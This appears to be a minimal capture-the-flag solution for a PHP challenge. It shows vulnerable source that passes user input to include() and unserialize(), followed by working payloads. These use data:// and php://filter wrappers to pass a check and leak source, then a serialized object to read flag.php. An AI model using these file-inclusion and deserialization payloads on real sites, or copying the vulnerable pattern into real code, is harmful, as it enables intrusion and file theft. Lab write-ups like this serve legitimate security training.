<?php  
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,‘r‘)==="welcome to the zjctf"))
{
    echo "<br><h1>".file_get_contents($text,‘r‘)."</h1></br>";
    if(preg_match("/flag/",$file))
　　{
        echo "Not now!";
        exit(); 
    }
　　else
　　{
        include($file);  //useless.php
        $password = unserialize($password);
        echo $password;
    }
}
else
{
    highlight_file(__FILE__);
}
?> 

?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=

?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=php://filter/read=convert.base64-encode/resource=useless.php

<?php  

class Flag{  //flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  
?>  

O:4:"Flag":1:{s:4:"file";s:8:"flag.php";} 

?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}